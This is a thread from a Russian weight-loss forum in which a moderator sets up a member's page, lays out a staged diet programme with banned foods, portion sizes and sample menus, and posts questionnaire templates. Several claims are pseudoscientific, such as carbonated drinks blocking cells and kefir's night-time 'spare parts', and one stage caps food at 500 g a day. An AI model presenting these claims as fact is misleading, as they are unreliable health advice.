Пышка - Худышка

Если вы ходите получить страничку для похудения,
заходите по этой ссылке:
http://www.mypishka.net/t3688p200-topic#216076
Модератор оформит вас!
Добро пожаловать на Пышку-Худышку!
Поиск
 
 

Результаты :
 

 


Rechercher Расширенный поиск

Приветствие





Самые активные пользователи
Evgesha (56629)
 
Ника (39895)
 
ЮлияАлександровна (28268)
 
дымка (22936)
 
Воробушек (21020)
 
Елена - Алена (4809)
 
sirinka (4098)
 
tamarico (3835)
 
НатАлекса (3824)
 
Limonchella (3142)
 

Партнеры и Друзья
Создать форум

БодиФлекс, Великолепная фигура за 15 минут в день

--------------------------------------------------------------
Афоризмы
"За улыбку платим слезами, за радость – грустью, за веру – отчаянием, за любовь – одиночеством. У жизни свои расценки. "

"Очень важно найти того, кто смотрит на этот мир так же, как и ты. "

"Не печальтесь ни о чем заранее и не радуйтесь тому, чего еще нет. "


"Когда во что-то искренне веришь, даже во что-то воображаемое – это начинает существовать. "
Современная долговременная программа похудания
Что мешает иметь стройную фигуру Все мы в раннем возрасте слушаем родителей, учителей и других важных для себя людей. Мы перенимаем у своих наставников как хорошее и полезное, так и разнообразные вредные привычки, негативные убеждения и ограничения. Как Вы думаете, какие пищевые привычки сформируются у человека, если ни его родители, ни бабушки с дедушками, ни их родители никогда не следили за своим здоровьем, питались жирной высококалорийной пищей в преувеличенном количестве и не вели активный образ жизни? Любой, кто будет вести такой образ жизни, неизбежно в конце концов наберёт лишний вес, независимо от генетики и комплекции. Как только Вы поверите в то, что Вы предрасположены к лишнему весу, это сразу же проявится в Вашей реальной жизни. Потому что для того, чтобы набрать лишних 10 килограмм, необходимо всего лишь в течение месяца усиленно питаться и меньше двигаться. Вы ведь об этом уже знаете не понаслышке, разве нет? Неопытному в вопросах здорового питания человеку легко потеряться в этом море информации и начать эксперименты с разными диетами, которые часто приводят к противоположному результату - все сброшенные килограммы возвращаются, а вес становится еще больше, чем до начала экспериментов со своей фигурой. Это происходит из-за того, что большинство предлагаемых диет обещают фантастические результаты в короткие сроки при условии исключения каких-либо продуктов. Такие диеты нельзя назвать сбалансированными, потому что они ограничивают поступление необходимых для Вашего тела и мозга полезных веществ.Продолжение читаем в статье
Самые интересные темы

Почему мы хотим похудеть.
Почему вы начинаете худеть на нашей программе? Многие из вас прошли долгий путь к своему похудению. И причины и мотивы своего худения, у все почти одинаковые,поэтому углубляться в эти причины мы не будем. Факт в том, что вы хотели просто похудеть. Многие даже и худели, хорошо худели, сбрасывали по много килограммов, радовались, но проходило какое-то время, и вы вновь возвращались в прежнюю форму. Так в чем же дело?
Продолжение читаем в статье
www.copyright.ru
"© '' Форум Пышки - Худышки ''. 2009-2017. Все права защищены || При использовании любых материалов, ссылка на форум строго обязательна!".
ТОП 100 - Яндекс метрика -Li


Яндекс.Метрика

Благодарность

Страничка петрова - Таня Первый этап

Страница 1 из 3 1, 2, 3  Следующий

Предыдущая тема Следующая тема Перейти вниз

Страничка петрова - Таня Первый этап

Сообщение автор ЮлияАлександровна в Пн 5 Окт 2015 - 8:52


   
[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
   

                   
Приветствие:

   
Напиши немного о себе, о своем образе жизни, как проходит твой день, какая у тебя работа (активная или сидячая), историю того как и почему по твоему мнению ты поправилась, чего ты ждешь от программы, чего хочешь добиться.
    Если есть какие-то заболевания, аллергии, противопоказания - обязательно укажи - это поможет при работе по Программе.
    Внимательно прочти все, что в этом сообщении, в том числе и в спойлерах, также заполни свою анкету, после чего я заполню твою страничку.
    Сделай себе, пожалуйста, линеечки о том, что ты на блокноте (потом будешь в ней менять этапы) и линеечку с динамикой веса.
    Прежде чем задать вопрос на страничке, внимательно читаем [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]. Экономим время и силы друг друга!
   Если что-то непонятно - обращайся.
   Удачи!
   
   И вот тебе путеводитель по форуму, может сгодиться:
   
Ты уже успешно начала свою программу и теперь считаешься полноправным жителем Пышки-Худышки.
   Приглашаю тебя подключится к общественной жизни форума.
   Предлагаю прогуляться по форуму, по разным темам.
   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] мы начинаем с просмотра новостей в Ведомостях
   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
мы выставляем свои фотографии различной тематики, ты можешь посмотреть на других и себя показать.
   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
можешь побыть в роли журналиста и узнать побольше о жизни однополчан [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение], а также сама стать интервьюируемой.
   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
наш котеджный поселок, можешь пройтись по гостям и принимать гостей в своем собственном домике.
   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] мы будем говорить о наших проказниках, об их проделках, вопросах воспитания и ухода.
   [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
просто лавочка для болтовни на любые темы.

   Остальное я даю тебе на самостоятельное изучение. Заглядывай в каждую щелочку, любопытствуй, вопрошай, отвечай!!!
   Помощником в этом тебе будет [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] по форуму

   УДАЧИ!
Основные положения:

   • Утро, вы проснулись. Организм вялый, голодный.
   • Выпили стакан чистой воды, этим вы умыли все клетки, все сосуды, желудок, кишечник и пошли умывать тело. Лучше всего привыкнуть делать душ. От него омолаживается кожа, добавляется вода в организме.
   • Оделись и пошли делать себе кофе или чай, питьё должно быть горячим. С первым глотком питья просыпается энергия, с которой вы будете жить весь этот день, просыпается психика. Вы уже в состоянии думать о предстоящем дне.
   • На половине выпитого кофе, берёте кусочек чёрного шоколада (это ваша дополнительная энергия и ваше настроение), вы начинаете чувствовать, как энергия наполняет весь организм, вы наполнены бодростью. Вы готовы к рабочему дню.
   • К кофе нужно взять кусочек сыра(20 грамм на целый день), если ближайшей едой не будет творог.
   • После кофе, в течении получаса вы должны позавтракать.
   • В течение дня вы едите каждые 3 часа – пополняете этим энергию, усиливаете обмен веществ, а значит, начинаете бороться с жиром.
   • Обязательно в дневном рационе должны быть белки, жиры, углеводы, витамины, микроэлементы, гормоны.
   • Между приёмами пищи, если голодно, можно грызть сырые фрукты или овощи.
   • Вы не едите сахар (можно 1 ч.л. мёда в день)
   • Вы не едите картошку (исключение – молодая картошка в сезон)
   • Вы не едите бананы, хурму, виноград, персики... (сладкие фрукты), блины, оладьи (если они из белой муки), колбасы (колбаса - это вещь не натуральна, колбасу можно есть в самом крайнем случае, 1 кусочек 1 раз в 2 недели без хлеба) сосиски, пряники, тортики, мороженое.
   • Вы пьёте 1,5 -2 литра чистой не газированной воды. (Газированные напитки - из-за наличия в них угольной кислоты, которая не даёт пропускать в клетки воду, жиры, витамины и пр., при этом образует блок между клеткой и мембраной и происходит затруднение входа и выхода в/из клетки из-за этого же жир и жидкость не могут выйти и утилизироваться)
   • Вы пьёте на ночь 200-250мл кефира. (на ночь пьем кефир, так как именно в нем, и находятся дополнительные ночные «запчасти», организм никогда не должен быть в простое, во сне начинают интенсивно работать большие пищевые железы – это печень, поджелудочная железа, почки, гормональные железы и весь организм в целом)
   • Вы получаете физическую нагрузку (даже от мытья полов без швабры, велосипеда, бега, фитнеса)
   • Вы продолжаете свою психологическую подзагрузку
   • Вы взвешиваетесь раз в неделю
   • Вы посещаете сауну (парную, баню, принимаете жесткий душ, по возможности, контрастный)[/b]
                                                           
БЛОКНОТ:
podrobnoctiДобро пожаловать,новички!
   Ознакомьтесь с материалами форума. Все внимательно прочитайте.
   Если вы решили войти в программу похудания нашего форума, купите блокнот или тетрадку.:chitai:
    В течение первой недели, ничего не меняя до замечаний в питании, записывайте в блокноте и у себя на страничке все, что вы съедаете в течение дня(вес,объем,время) каждый день. Учитываются даже такие мелочи, как съедение одной конфетки, или одного малюсенького огуречика. По истечению отчетной недели начнется Ваша программа. :ay:
   Внимательно прочитайте вот эту тему [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
   Модератор вашей группы дымка. Она будет вам помогать, отвечать на ваши вопросы.
   Ваш доктор, с которым вы будете работать, Evgesha. tongueК ней тоже вы можете обращаться с вопросами.
   Для получения быстрого вопроса-ответа, у нас есть чат. Пишите в чат.
   Администратор форума здесь находится постоянно.
   Можете писать так же и через ЛС (личные сообщения), либо через e-mail.
ПЕРВЫЙ ЭТАП:
1 этап рассчитан на первый месяц.

   Что необходимо делать?
   Начнем с самого начала.
   Утро, вы проснулись. Организм вялый, голодный. Выпиваете стакан воды, этим самым вы умыли все клетки, все сосуды, желудок, кишечник, и пошли умывать тело. Лучше всего привыкнуть делать душ. От него омолаживается кожа, добавляется вода в организме.
   Оделись, и пошли делать себе кофе или чай, питье должно быть горячим. С первым глотком этого питья, просыпается энергия, с которой вы будете жить весь этот день, просыпается психика. Вы уже в состоянии думать о предстоящем дне. Рассказываете мысленно себе, как же вы хотите похудеть, представляете себя худенькой, красивой, бодрой, здоровой. На половине чашки берете кусочек черного шоколада. Вы начинаете чувствовать, как энергия затопляет весь организм, вы наполнены бодростью. Вы готовы к рабочему дню.
   В течение дня вы едите каждые 2-3 часа, пополняете этим энергию, усиливаете обмен веществ, а значит начинаете бороться с жиром. Организм начинает перерабатывать съеденое. Жировые клетки начинают худеть, и вы вместе с ними.
   На ночь пьем кефир, так как именно в нем, и находятся дополнительные ночные «запчасти».
   Организм никогда не должен быть в простое, во сне начинают интенсивно работать большие пищевые железы – это печень, поджелудочная железа, почки, гормональные железы и весь организм в целом.
   Если вам вдруг, в течение дня, остро захочется чего-нибудь вроде селедки, сахара, квашеного огурца, съешьте, не упирайтесь, значит организму понадобилось что-то чем вы его недокормили.
   
Слушайте и прислушивайтесь к нему, он значительно мудрее вас самих. Хорошо организованный организм, никогда не просит лишнего. С помощью психики вы организуете организм и саму психику, они должны работать в тесном тандеме и контакте.
   В течение дня вы должны получить белки, углеводы, жиры, витамины, микроэлементы и гормоны.
   Никогда не едим - сахар, бананы, хурму, персики, пшеничную муку и изделия из нее -блины и блинчики, пряники, тортики
   А также не едим -
колбасы, сосиски, солености и копчености, майонезы и кетчупы.
   Избегаем мороженного и молочных коктейлей.
   Никаких разгрузочных дней.
ВТОРОЙ ЭТАП:

   На 2 этапе, вы должны:
   1. Научится разгрузочным дням.
   2. Сознательно пользоваться предыдущими уроками.
   3. Воспитывать силу воли, с чем у вас, мягко скажем, не очень.

   Вы уже все «большие девочки», хотите сделать себе хорошо, так потрудитесь сами над собой, и получите то, чего вам хочется больше всего на свете!

   Напоминаю:
   1. Вы не едите сахар.
   2. Вы не едите картошку.
   3. Вы пьете 2 литра чистой негазированной воды.
   4. Вы сокращаете порции до 200 грамм (с супом до 250 грамм).
   5. Вы пьете на ночь 200 мл кефира.
   6. Вы получаете физическую нагрузку (даже от мытья полов без швабры, велосипеда, бега, фитнеса).
   7. Вы продолжаете свою психологическую подзагрузку.
   8. Вы начинаете разгрущочные дни 1 раз в неделю.
   9. Вы посещаете сауну (парную, баню).
ТРЕТИЙ ЭТАП:
3 этап длится следующие 2-3 недели:

   1. Вы пьете уже 1500 мл воды.
   2. Вы пьете на ночь 200-250мл кефира.
   3. Вы получаете физическую нагрузку (от мытья полов без швабры, велосипеда, бега, фитнеса)
   4. Вы продолжаете свою психологическую разгрузку.
   5. Вы посещаете сауну.
   6. Вы взвешиваетесь.
   В следующие 2 недели вы уменьшаете еще на 1/3 самой первой первоначальной порции еды.
   Т.е. любая порция еды не должна состоять больше чем - для мужчин – 250г, для женщин – не более 150-200г.

   На 3 этапе мы не едим:
   

   

       
  • сахар,
       
  • картошку,
       
  • мёд,
       
  • шоколад,
       
  • котлеты (если они без хлеба и панировки, то можно),
       
  • колбасы,
       
  • хлеб,
       
  • сухарики,
       
  • каши (кроме гречневой, овсяной и перловки на воде),
       
  • сухофрукты,
       
  • сыр (иногда с утренним кофе можно).
       

   Правила для 3 этапа:
   1.Кушать не чаще чем 1 раз в 2-2,5 часа.
   2.Кушать не больше чем 150-250г одноразово.
   3.Съедать в течение дня не более 500г еды.
   4.Соблюдать первую и последнюю еду.

   Если за время 3 этапа вы смертельно захотите внезапно кусок селедки, с уксусом, подсолнечным маслом, луком, или наоборот – огромный кусок жирного сладкого торта – не откажите себе, не идите против вашей психики, все равно потом вы будете мучиться, что не сдержались. Но,… как говорится, «против психики не попрешь». Такие срывы будут, главное, что их будет все меньше и меньше, а приступы такие станут все реже и реже. Вы на правильном пути и с него не сойдете. [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
2*2 ЭТАП:
Напоминаю:
   1. Вы не едите сахар.
   2. Вы не едите картошку (кроме молодой)
   3. Вы пьете 1,5-2 литров воды.
   4. Вы пьете на ночь 200-250мл кефира.
   5. Вы получаете физическую нагрузку (даже от мытья полов без швабры, велосипеда, бега, фитнеса, БФ и пр.)
   6. Вы продолжаете свою психологическую подзагрузку.
   7. Вы взвешиваетесь 1 раз в неделю
   8. Вы посещаете сауну (парную, баню)


   Вы научились
   - Пить воду
   - Есть по режиму.
   - Уменьшили объем желудка.
   - Научились пользоваться калориями.
   - Научились разгрузочным дням.
   - Научились сознательно пользоваться предыдущими уроками.
   - Начали воспитывать силу воли, с чем у вас, мягко скажем, не очень.
   Ваша еда должна составлять максимум 200 г/мл. Это обычное меню, без изысков и вредностей, излишек соли, сахара и животных жиров.


   Теперь, ваша главная и основная задача, не напортив себе ни в здоровье, ни в неправильном питании, просто худеть. Очень терпеливо ждать окончательного снижения веса, до нужного вам предела..
   Все вы уже давно стали медалистами, гурманами, бакалаврами. Вы - элита!
   Теперь вы можете и себе помочь, и помочь другим, как советом, так и существенной помощью в похудение.
   Спасибо вам всем, мои
:ок:
ЧЕТВЕРТЫЙ ЭТАП:
На 4 этапе у нас пока побывало немного народу. Этот этап нужен для окончательно урегулирования порций, которыми вы будете пользоваться всю жизнь. То же и с жидкостью. Жидкость - это все, что вы пьете - кофе, чай, компот, даже суп, сок и пр. Ее не должно быть меньше 1.5 литров, и на этом же этапе, вы начинаете удерживать вес на определенном уровне.
   На 4 этап, для оканчивающих программу, попадают бакалавры, магистры, ЭкстраМагисты, которые практически восстановили оптимальный вес, восстановили обмен веществ, но, еще не умеющие владеть своими психологическими мотивациями для нормальной жизни, своими пищевыми желаниями, пищевыми привычками.
   Для этого требуется научиться хорошо удерживать вес. Вес, в течение всей жизни, вы должны удерживать в пределах +- 200 г. В течение последующих 2-3 лет, вам разрешается удерживать его в пределах +- 1кг.
   Все равно вы можете не удержаться, наесть на 1-2 кг больше, и должны будете пытаться сбросить этот вес.
   Вам предстоит изнурительная борьба с этим лишним килограммом, поэтому вы должны иметь еще 1 кг в запасе.
   В течение 3 лет, организм постепенно привыкнет к весу +- 200г. Кроме этого, вы хорошо будете уже ориентироваться в ккал, вы будете видеть их, что называется, "на взгляд". Это к вам придет постепенно и незаметно для вас самих.
   А пока, В добрый путь на 4 этап, к окончанию программы!
Примерное меню
   блокнот:
Блокнот нужен, чтобы понять ошибки. Но он также своего рода подготовительный этап. Во время блокнота становится видно ошибки и тебе, и мне, и Доктору. Поэтому, красное надо исправлять, стремясь сразу питаться как на 1 этапе.
   Сразу это не получится. Поэтому и существует подготовительная неделя. Однако, при составлении меню, когда уже вникла и более-менее поняла, надо руководствоваться правилами 1-го этапа.
   Про то, что голодать нельзя Евгеша писала неоднократно. Носи с собой в сумочке всегда яблочко или морковку - тогда неожиданное отсутствие правильной еды не застанет тебя врасплох. Но если уж так случилось - постарайся найти максимально безвредный продукт, сухарик например, либо что-то из разрешенных продуктов. Но не пропускай время еды! Это отзовется повышенным аппетитом позже и как следствие - больший объем заглоченной еды в основной прием.

   Перерыв между чаем и завтраком должен быть 15-20 минут, ну хоть 10. Сначала пьешь чай - запускаешь процесс пищеварения, потом через время завтрак на готовый организм.
   Красным в меню выделяются ошибки, оранжевое - нежелательно.

   У тебя должно быть 5 ПОЛНОЦЕННЫХ ПРИЕМА ПИЩИ: ЗАВТРАК, ВТОРОЙ ЗАВТРАК, ОБЕД , ПОЛДНИК И УЖИН. 1 ВЕЧЕРНИЙ ПЕРЕКУС + кефир. Перерыв между едой 2-3 часа и не больше!!!


   Утро - стакан воды
   Через 15-20 мин чай/кофе с кусочком сыра и 20 г шоколада.
   Первый завтрак - все на ваше усмотрение ( это каша или творог, с 1 ч.л. меда)
   Второй завтрак ( а никак не перекус), через 2-3 часа после первого завтрака
   Мясо, овощной салат. Еды столько, сколько по этапу каждому худеющего положено.
   Обед - Суп (борщ, бульон, рассольник и пр.), мясо, овощи с растительным маслом, хлебец 1-2 шт. Каждому по своему этапу.
   Полдник - мясо, фрукты
   Ужин - белки (творог, яйца и пр.)
   Перекус - фрукт, овощ, сухарики, зерновой хлебец ( если еды не хватило).
   Кефир - за 15-20 мин до сна (до того времени, как вы ложитесь в постель, в постели вы можете читать, смотреть TV, делать другие дела, но кефир уже не пьете повторно)


   Вы можете сделать себе перекус, если проголодались раньше времени. Вы можете съесть овощ, несладкий фрукт, но немного. В противном случае вы перебьете себе аппетит, плохо поедите, и проголодаетесь еще быстрее. Все пойдет по кругу, и вы, не справившись с собой от голода, станете "сметать" все подряд, а там и до настоящего "жора" близко.


   Вы часто едите рис, это хороший продукт, допустимый в программе, есть его нужно только один раз в день.
   То же относится и к любым кашам - только один раз.
   Плавленные сырки не рекомендуются в этой программе, из-за повышенных ккал.
   Это же относится к сосискам, соленьям, копченостям, киселям.
   Девочкам старше 30 лет крайне необходимо есть желированные продукты, как-то - холодцы (нежирные), фруктовые желе без сахара, заливные мясо, птицу, рыбу и пр., словом все блюда с желе и агар-агаром. Эти блюда противостоят хрусту в суставах, облегчают движениям в позвоночнике.
   Объем еды должен быть не более 250г, обеда - 350 г. Перекус нежелателен также более 250 г по весу. Чай туда входит!
   Пока нет весов - пиши количество ложек или выбери другую меру .
   Постарайся увеличить расстояние между любой едой до 2-3 часов, но если голодно - погрызи морковку, огурец, яблоко или любой другой фрукт или овощ. Составляй меню наперед, чтобы я могла подкорректировать утром.


   Старайся отчитываться таким образом:
   Время – прием пищи – вес. Например,
   6.00 – утренняя вода
   6.15 – чай
   6.35 – завтрак: овсянка с мясом – 200 г и т.д.
   В конце меню прописывай, сколько тобой выпито воды в целом за день (Например, Вода – 2л)
   Помни про вечерний кефир!
Примерное меню:
Подъем
   -стакан воды

   -через 15-20 минут
   горячий несладкий крепкий чай + 2 дольки горького шоколада
   или
   кофе сыр/брынза 20 гр + 2 дольки горького шоколада
   = 200-250 мл

   -через 15-20 минут: Первая еда
   – яйца/мясо/рыба + овощной салат
   или
   – каша овсяная/гречневая/рисовая
   или
   - мясная каша + овощной салат
   = 250 грамм

   -через 2-3 часа: Вторая еда
   – фрукты (допускаются любые фрукты – яблоки, киви, гранаты, сливы, ягоды и т.д) или фруктовый сок + творог
   или
   – овощной салат с растительным маслом + яйцо/мясо/рыба
   = 250 грамм

   -через 2-3 часа: Третья еда
   – обязательный суп с мясом/рыбой + кусок хлеба(желательно черного толщиной в мизинец)
   = 350 грамм

   -через 2-3 часа: Четвертая еда
   – овощной салат с растительным маслом + яйцо/мясо/рыба
   или
   – фрукты творог/брынза
   = 250 грамм

   -через 2-3 часа: Пятая еда 18-20 часов вечера (НЕ позже 3 часов до сна)
   – творог/брынза + фрукты
   или
   - омлет + салат
   = 250 грамм
   Перед сном
   - стакан кефира (допускается простокваша -предпочтительно, ряженка).
   За день нужно выпивать 2 л чистой негазированой воды!
   Между едой (не ранее,чем через 1,5 часа после еды) можно есть несладкие овощи и фрукты, пить домашний сок, грызть сухарики или хлебцы.
Примерное меню:
Подъем
   -стакан воды

   -через 15-20 минут
   горячий несладкий крепкий чай + 2 дольки горького шоколада
   или
   кофе сыр/брынза 20 гр + 2 дольки горького шоколада
   = 200 мл

   -через 15-20 минут: Первая еда
   – яйца/мясо/рыба + овощной салат
   или
   – каша овсяная/гречневая/рисовая
   или
   - мясная каша + овощной салат
   = 200 грамм

   -через 2-3 часа: Вторая еда
   – фрукты (допускаются любые фрукты – яблоки, киви, гранаты, сливы, ягоды и т.д) или фруктовый сок + творог
   или
   – овощной салат с растительным маслом + яйцо/мясо/рыба
   = 200 грамм

   -через 2-3 часа: Третья еда
   – обязательный суп с мясом/рыбой + кусок хлеба(желательно черного толщиной в мизинец)
   = 250 грамм

   -через 2-3 часа: Четвертая еда
   – овощной салат с растительным маслом + яйцо/мясо/рыба
   или
   – фрукты творог/брынза
   = 200 грамм

   -через 2-3 часа: Пятая еда 18-20 часов вечера (НЕ позже 3 часов до сна)
   – творог/брынза + фрукты
   или
   - омлет салат
   = 200 грамм

   Перед сном
   - стакан кефира (допускается простокваша -предпочтительно, ряженка).
   За день нужно выпивать 2 л чистой негазированой воды!
   Итак, вы получаете в полном объеме белки, витамины, необходимые жири и аминокислоты. Вы уменьшили объем своего рациона, вы на пути к полному очищению ваших клеток, печени, почек.
   Молодцы! Идем дальше!
Примерное меню:
Ваше меню может выглядеть так:
   подъём


   вода
   кофе + сыр до 20гр или творог
   или чай.
   завтрак №1
   платная еда 50гр + бесплатная еда 100гр=150гр
   или
   100гр платной еды + 50гр бесплатной еды = 150гр
   или
   150гр платной еды
   или
   75 гр платной еды +75 гр бесплатной еды=150гр
   +2-3 часа завтрак №2
   платная еда 50гр + бесплатная еда 100гр=150гр
   или
   100гр платной еды + 50гр бесплатной еды = 150гр
   или
   150гр платной еды
   или
   75 гр платной еды +75 гр бесплатной еды=150гр
   или
   150 грамм бесплатной еды ( например фрукт и кефир )
   + 2-3 часа обед
   платная еда 50гр + бесплатная еда 100гр=150гр
   или
   100гр платной еды + 50гр бесплатной еды = 150гр
   или
   150гр платной еды
   или
   75 гр платной еды + 75 гр бесплатной еды=150гр
   +2-3 часа полдник
   платная еда 50гр + бесплатная еда 100гр=150гр
   или
   100гр платной еды + 50гр бесплатной еды = 150гр
   или
   150гр платной еды
   или
   75 гр платной еды +75 гр бесплатной еды=150гр
   или
   150 грамм бесплатной еды ( например фрукт и кефир )
   +2-3 часа ужин
   платная еда 50гр + бесплатная еда 100гр=150гр
   или
   100гр платной еды + 50гр бесплатной еды = 150гр
   или
   150гр платной еды
   или
   75 гр платной еды +75 гр бесплатной еды=150гр

   кефир перед сном
Примерное меню:
В целом меню как для ВТОРОГО ЭТАПА, остаётся неизменным на всю жизнь НО
   Разрешается!
   Для 2*2 этапа разрешено:
   1. Рис - каждый день.
   2. Сыр твердый до 40г - каждый день.
   3. Малосольная рыба до 100г - 3 раза в неделю.
   4. Сливочное масло 10г - каждый день.
   5. Пицца 1 кусочек до 100г - 1 раз в неделю.
   6. Мороженное 100г - 1 раз в неделю.
   7. Жаренное мясо, курица, кролик, рыба до 200г - 2 раза в неделю.
   8. Колбаса, сосиски 100г - изредка.
   9. Копчености, сырокопченые, сыровяленые 20-30г - 1 раз в неделю.
   10. Гриль 1-2 раза в неделю.
   
Приятного аппетита! Не переедайте! Учитесь есть в пределах разрешенного!
Примерное меню:
По желанию и по возможности начинаем сокращать количество порций еды.
   Т.е., у тебя должны в конце концов остаться завтрак, обед и ужин. Все постепенно, по очереди. Сами порции остаются 200-250 г. Вода остается 1,5-2 л. Между едами - фрукты и овощи, если будет хотеться. Едим, только если очень захочется кушать!
Держим вес.
   ваша программа начинается с 05.10.2015
   ваш рост- 170  см
   ваш вес- 95   кг
   ваш объем талии -98 см

   желаемый вес 80 кг
   Анализатор калорийности продуктов
   Сколько калорий вы съели и потратили (нажать)
   
   Блокнот с 5.10.15 95 кг
Первый этап с 20.10.15 89,5 кг

   


Последний раз редактировалось: ЮлияАлександровна (Вт 20 Окт 2015 - 9:01), всего редактировалось 3 раз(а)


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
ЮлияАлександровна
,
,

Лошадь Женщина
Регистрация : 2010-02-13
Сообщений : 28268

СуперЭкстраМагистр

Возраст : 39
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор ЮлияАлександровна в Пн 5 Окт 2015 - 8:55

privet Привет! Добро пожаловать на программу похудания.

Это твоя страничка. Тут мы будем работать.
Напиши немного о себе, о своем образе жизни, как проходит твой день, какая у тебя работа (активная или сидячая), историю того как и почему по твоему мнению ты поправилась, чего ты ждешь от программы, чего хочешь добиться.
Если есть какие-то заболевания, аллергии, противопоказания - обязательно укажи - это поможет при работе по Программе.
Скопируйте код Анкеты
Нажимаешь, "выделить содержимое", оно меняет цвет, правой кнопкой мышки щёлкаешь по выделенному и выбираешь "копировать"
и вставьте в сообщение.
Нажмите такую кнопку один или два раза [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
Заполните полученную таблицу

Код:
[table border="1"][tr][td]Возраст[/td][td]?[/td][/tr][tr][td]Вес первичный[/td][td]?[/td][/tr][tr][td]Вес последний[/td][td]?[/td][/tr][tr][td]Вес желаемый[/td][td]?[/td][/tr][tr][td]Рост[/td][td]?[/td][/tr][tr][td]Талия[/td][td]?[/td][/tr][tr][td]Статус:
    замужем,нет[/td][td]?[/td][/tr][tr][td]Группа крови[/td][td]?[/td][/tr][tr][td]Состояние нервной системы:
    спокойная,нервная[/td][td]?[/td][/tr][tr][td]Контактность[/td][td]?[/td][/tr][tr][td]Генетика-габитус:
    члены семьи толстые,худые[/td][td]?[/td][/tr][tr][td]Сила воли,терпение[/td][td]?[/td][/tr][tr][td]Честность[/td][td]?[/td][/tr][tr][td]Спорт,занятия:
    бф,плавание,велосипед...[/td][td]?[/td][/tr][tr][td]Горячие процедуры
    моржевание[/td][td]?[/td][/tr][tr][td]Разгрузочные дни:
    делала,нет[/td][td]?
    [/td][/tr][tr][td]Другое:
    во всей анкете[/td][td]?
    [/td][/tr][tr][td]
    На "ты" или на "вы"[/td][td]?
    [/td][/tr][/table]

Внимательно прочти все, что в первом сообщении, в том числе и в спойлерах.
Обязательно сфотографируйся до начала программы, что бы потом было с чем сравнить, так сказать для истории, лучше будет если это будет в одежде хорошей по размеру сейчас, потом ты увидишь на сколько она станет велика, или это может быть одежда, которая сейчас не налазит и ты стремишься её одеть в будущем.
Сделай себе, пожалуйста, линеечки о том, что ты на блокноте (потом будешь в ней менять этапы) и линеечку с динамикой веса.
Прежде чем задать вопрос на страничке, внимательно читаем [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]. Экономим время и силы друг друга!
Если что-то непонятно - обращайся.
Удачи!

И вот тебе путеводитель по форуму, может сгодиться:
Ты уже успешно начала свою программу и теперь считаешься полноправным жителем Пышки-Худышки.
Приглашаю тебя подключится к общественной жизни форума.
Предлагаю прогуляться по форуму, по разным темам.
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] мы начинаем с просмотра новостей в Ведомостях
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
мы выставляем свои фотографии различной тематики, ты можешь посмотреть на других и себя показать.
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
можешь побыть в роли журналиста и узнать побольше о жизни однополчан [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение], а также сама стать интервьюируемой.
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
наш котеджный поселок, можешь пройтись по гостям и принимать гостей в своем собственном домике.
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] мы будем говорить о наших проказниках, об их проделках, вопросах воспитания и ухода.
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
просто лавочка для болтовни на любые темы.

Остальное я даю тебе на самостоятельное изучение. Заглядывай в каждую щелочку, любопытствуй, вопрошай, отвечай!!!
Помощником в этом тебе будет [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] по форуму

УДАЧИ! [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]


Несколько дней записывай свое обычное меню, далее будем исправлять ошибки в питании!

Скопируй ,пожалуйста, код и вставь в [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] Это таблица твоих замеров. Ее желательно заполнять 1 раз в месяц или перед каждым этапом. А в подпись нужно вставить ссылку на свои замеры.

Код:
[table border="5"][tr][td]

    [/td][td]02.07.10
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Вес
    [/td][td]...
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Шея
    [/td][td]...см
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Плечо
    [/td][td]...см
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Грудь
    [/td][td]...см
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Талия
    [/td][td]...см
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Таз
    [/td][td]...см
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Бёдра
    [/td][td]...см
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][tr][td]Голень
    [/td][td]...см
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][td]
    [/td][/tr][/table]


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
ЮлияАлександровна
,
,

Лошадь Женщина
Регистрация : 2010-02-13
Сообщений : 28268

